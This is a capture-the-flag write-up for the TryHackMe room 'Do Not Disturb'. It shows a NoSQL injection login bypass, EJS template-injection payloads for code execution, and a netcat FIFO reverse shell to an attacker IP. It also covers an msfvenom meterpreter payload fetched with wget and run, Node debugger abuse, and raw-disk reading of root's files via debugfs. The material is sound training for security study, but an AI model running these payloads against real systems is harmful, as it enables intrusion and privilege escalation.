Do Not Disturb (Hacker Holidays) - Write-up - TryHackMe

Information

Room#

  • Name: Do Not Disturb
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Sign's on the door. Room's active. You have access you were never given, and so does he.

Do Not Disturb

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S nmap ffuf curl rlwrap metasploit

Lore#

🛎️ Concierge Briefing

Sign's on the door. Room's active. You have access you were never given, and so does he.

The anomalies stop being anomalies: a session goes warm on a sunbed, and a stranger sits down in it, a wallet signs a transaction its owner didn't authorise, a shell on the beach answers back. And it becomes clear that whoever's already inside has been moving for far longer than you have.

The Byte Lotus poolside platform tracks every cabana, every sunbed, every warm session. Byte Lotus never forgets. Someone is already inside. Follow his footprints in, climb the way he climbed, and recover both flags.

🏖️ TODAY'S ITINERARY

  • [ ] Find the user flag
  • [ ] Find the root flag

Network enumeration#

Identifying open network services.

➜ sudo nmap -sSVC -p- -T4 --open -v  10.128.145.234
…
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 32:ac:61:2e:76:87:d4:90:95:46:40:d6:25:63:f0:5b (ECDSA)
|_  256 67:32:ff:1f:f6:d3:0c:c2:28:c1:cc:35:d5:c9:ce:81 (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title: Byte Lotus — Poolside
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
…

Web Discovery#

Finding existing web pages.

➜ ffuf -u http://10.128.145.234/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
…

 :: Method           : GET
 :: URL              : http://10.128.145.234/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

logout                  [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 30ms]
staff                   [Status: 403, Size: 1547, Words: 89, Lines: 25, Duration: 33ms]
:: Progress: [26583/26583] :: Job [1/1] :: 1351 req/sec :: Duration: [0:00:21] :: Errors: 1 ::

We are denied with a 403 on the staff page (Staff access only.).

On the login form, there is a placeholder for the username attendant.

➜ curl http://10.128.145.234/ -s | grep placeholder
        <input name="username" autocomplete="off" placeholder="attendant">

We can try a SQLi but nothing is working. However, a HTTP header reveals Express (nodejs web framwork) is used.

➜ curl http://10.128.145.234/ -I -s | grep X-Powered-By
X-Powered-By: Express

Express is often pluggued with a MongoDB (NoSQL) so we can try a NoSQLi.

Web exploitation - NoSQL injection#

A legitimate log in request looks like this:

POST /login HTTP/1.1
Host: 10.128.145.234
…

username=attendant&password=password

We can try a basic NoSQLi payload for authentication bypass.

POST /login HTTP/1.1
Host: 10.128.145.234
…

username=attendant&password[$ne]=password

This time instead of a 401 we receive a 302 on the staff page with a cookie.

HTTP/1.1 302 Found
X-Powered-By: Express
Location: /staff
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 35
Set-Cookie: connect.sid=s%3AjjlK9V2i4Diu3eFjkgvYyx3jYOQb8WAE.DDXWYOiBBNYWUYcCmXNeXbUqYF0tbr1KojRFyii8gDI; Path=/; HttpOnly
Date: Tue, 04 Aug 2026 11:16:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Now we can access the /staff page.

Web exploitation - SSTI to RCE#

We can see this obvious hint:

Confirmation template (EJS — use <%= guest %> to personalise)

So the form is using EJS template engine we can modify directly, this is free SSTI to RCE.

Legitimate template:

Dear <%= guest %>, your Byte Lotus cabana is confirmed.

Legitime result:

Signed in as attendant. Customise the guest booking-confirmation message below.

SSTI EJS + universal JS RCE payload:

<%= global.process.mainModule.require("child_process").execSync("id").toString() %>

Attack result:

uid=996(poolside) gid=996(poolside) groups=996(poolside)

User flag#

As usual, the user flag is in the home directory.

<%= global.process.mainModule.require("child_process").execSync("ls -lhA $HOME").toString() %>
total 20K
-rw-r--r-- 1 poolside poolside  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 poolside poolside 3.7K Feb 25  2020 .bashrc
-rw-r--r-- 1 poolside poolside  807 Feb 25  2020 .profile
-rw------- 1 poolside poolside  866 Jun 16 09:56 .viminfo
-rw-r--r-- 1 poolside poolside   27 Jun 16 09:32 user.txt
<%= global.process.mainModule.require("child_process").execSync("cat $HOME/user.txt").toString() %>
THM{EDITED}

RCE to reverse shell#

nc is present on the target:

<%= global.process.mainModule.require("child_process").execSync("which nc").toString() %>
/usr/bin/nc

However, it's openBSD netcat, without -e. So we can't directly attach a shell to it but can use FIFO instead.

<%= global.process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.130.181 8080 >/tmp/f").toString() %>

Shell received:

➜ rlwrap ncat -nlvp 8080
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.128.145.234:57542.
bash: cannot set terminal process group (607): Inappropriate ioctl for device
bash: no job control in this shell
poolside@tryhackme-2404:/opt/poolside$ id
uid=996(poolside) gid=996(poolside) groups=996(poolside)

Bonus#

From app.js source code, we can see there was another authenticated path through brute-force:

async function seed() {
  await db.removeAsync({}, { multi: true });
  await db.insertAsync([
    { username: 'guest', password: 'sunshine', role: 'guest' },
    { username: 'attendant', password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
  ]);
}

But it was a rabbit hole, as the user guest has guest role, he was not able to access the staff page.

Better reverse shell#

After some minutes, the process seems to die because of the reverse shell and never restarts. It is also an issue if you hit CTRL+C by accident or enter an infinite interractive command or command that fails without a timeout. So everytime, the VM need to be restarted and you need to re-do the first steps of exploitation.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.130.181 LPORT=4444 -f elf -o revshell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: revshell.elf

msf exploit(multi/handler) > options

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.130.181  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
<%= global.process.mainModule.require("child_process").execSync("wget http://192.168.130.181:8000/revshell.elf -O /tmp/revshell.elf; chmod +x /tmp/revshell.elf; /tmp/revshell.elf").toString() %>

EoP - pipelinesvc#

We can see a service is running locally on port 9229.

poolside@tryhackme-2404:/opt$ ss -nlpt
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      511        127.0.0.1:9229      0.0.0.0:*
LISTEN 0      4096   127.0.0.53%lo:53        0.0.0.0:*
LISTEN 0      4096      127.0.0.54:53        0.0.0.0:*
LISTEN 0      4096         0.0.0.0:22        0.0.0.0:*
LISTEN 0      511                *:80              *:*    users:(("node",pid=603,fd=21))
LISTEN 0      4096            [::]:22           [::]:*

This service is owned by pipelin+ (pipelinesvc).

poolside@tryhackme-2404:/opt$ ps -ef f | grep node
pipelin+     601       1  0 08:57 ?        Ssl    0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside     603       1  0 08:57 ?        Ssl    0:00 /usr/bin/node app.js

We can read the source code of that process in /opt/pipelinesvc/telemetry/processor.js:

'use strict';

const os = require('os');

let ticks = 0;

function processBatch() {
  ticks += 1;
  const load = os.loadavg()[0].toFixed(2);
  if (ticks % 12 === 0) {
    console.log(`[telemetry] ${new Date().toISOString()} batches=${ticks} load=${load}`);
  }
}

console.log('lotus-telemetry occupancy processor started');
setInterval(processBatch, 5000);

// Keep the event loop busy/alive indefinitely.
process.stdin.resume();

If we launch systemctl status --no-pager we can see this process is launched by a systemd service:

|-lotus-telemetry.service
| `-600 /usr/bin/node --inspect=127.0.0.1:9229 processor.js

systemctl cat lotus-telemetry.service

# /etc/systemd/system/lotus-telemetry.service
[Unit]
Description=Byte Lotus Occupancy Telemetry Processor
After=network.target

[Service]
Type=simple
User=pipelinesvc
Group=pipelinesvc
WorkingDirectory=/opt/pipelinesvc/telemetry
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 processor.js
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target

We can then attach to the inspection service.

node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>

Running help, we can see the commands available. Few are interesting. The most powerful one is repl to get nodejs interpreter.

Executing a system command, we see the current user running this service is pipelinesvc.

debug> repl
Press Ctrl+C to leave debug repl
> > global.process.mainModule.require("child_process").execSync('id').toString()
'uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)\n'

So we can see files owned by pipelinesvc now:

> > global.process.mainModule.require("child_process").execSync('ls -lhA /home/pipelinesvc').toString()
'total 12K\n' +
  '-rw-r--r-- 1 pipelinesvc pipelinesvc  220 Feb 25  2020 .bash_logout\n' +
  '-rw-r--r-- 1 pipelinesvc pipelinesvc 3.7K Feb 25  2020 .bashrc\n' +
  '-rw-r--r-- 1 pipelinesvc pipelinesvc  807 Feb 25  2020 .profile\n'

Nothing interesting in its home.

Let's execute the reverse shell executable to get a meterpreter session as pipelinesvc, it will be easier rather than having to wrap each command in JS.

> global.process.mainModule.require("child_process").execSync('/tmp/revshell.elf').toString()
[*] Sending stage (3106788 bytes) to 10.129.148.162
[*] Meterpreter session 4 opened (192.168.130.181:4444 -> 10.129.148.162:34924) at 2026-08-05 23:09:28 +0200
^Z
Background channel 1? [y/N]  y
meterpreter > bg
[*] Backgrounding session 3...
msf exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: pipelinesvc

EoP - root#

So let's see what we can do with the disk group.

The disk group in Linux grants users raw access to block devices (e.g., /dev/sda, /dev/nvme0n1), bypassing filesystem permissions. Members can perform low-level operations like reading, writing, or modifying partitions directly.

First, let's see from which device the root partition is mounted.

$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/root        20G  5.5G   14G  29% /
tmpfs           966M     0  966M   0% /dev/shm
tmpfs           387M  840K  386M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock

$ lsblk -f
NAME        FSTYPE   FSVER LABEL           UUID                                 FSAVAIL FSUSE% MOUNTPOINTS
loop0       squashfs 4.0                                                              0   100% /snap/amazon-ssm-agent/13009
loop1       squashfs 4.0                                                              0   100% /snap/amazon-ssm-agent/13349
loop2       squashfs 4.0                                                              0   100% /snap/core/17292
loop3       squashfs 4.0                                                              0   100% /snap/core18/1885
loop4       squashfs 4.0                                                              0   100% /snap/core20/2379
loop5       squashfs 4.0                                                              0   100% /snap/core20/2866
loop6       squashfs 4.0                                                              0   100% /snap/core22/1621
loop7       squashfs 4.0                                                              0   100% /snap/core22/2411
loop8       squashfs 4.0                                                              0   100% /snap/lxd/38688
loop9       squashfs 4.0                                                              0   100% /snap/lxd/29619
nvme0n1
`-nvme0n1p1 ext4     1.0   cloudimg-rootfs 175c087c-0fe9-4d62-a38d-e5f8a66a5851   13.9G    28% /
nvme1n1

$ cat /etc/fstab
LABEL=cloudimg-rootfs   /        ext4   defaults,discard        0 0
/swapfile none swap sw 0 0

Now let's run debugfs to bypass permissions and open raw partition.

$ debugfs
debugfs:  open /dev/nvme0n1p1
debugfs:  ls /root
 1492  (12) .    2  (12) ..    1493  (16) .profile    1494  (16) .bashrc
 256094  (12) .ssh    256274  (12) snap    256896  (16) .local
 132  (24) .bash_history    642  (16) .viminfo    524609  (12) .npm
 624  (3936) root.txt
debugfs:  cat /root/root.txt
THM{EDITED}
Share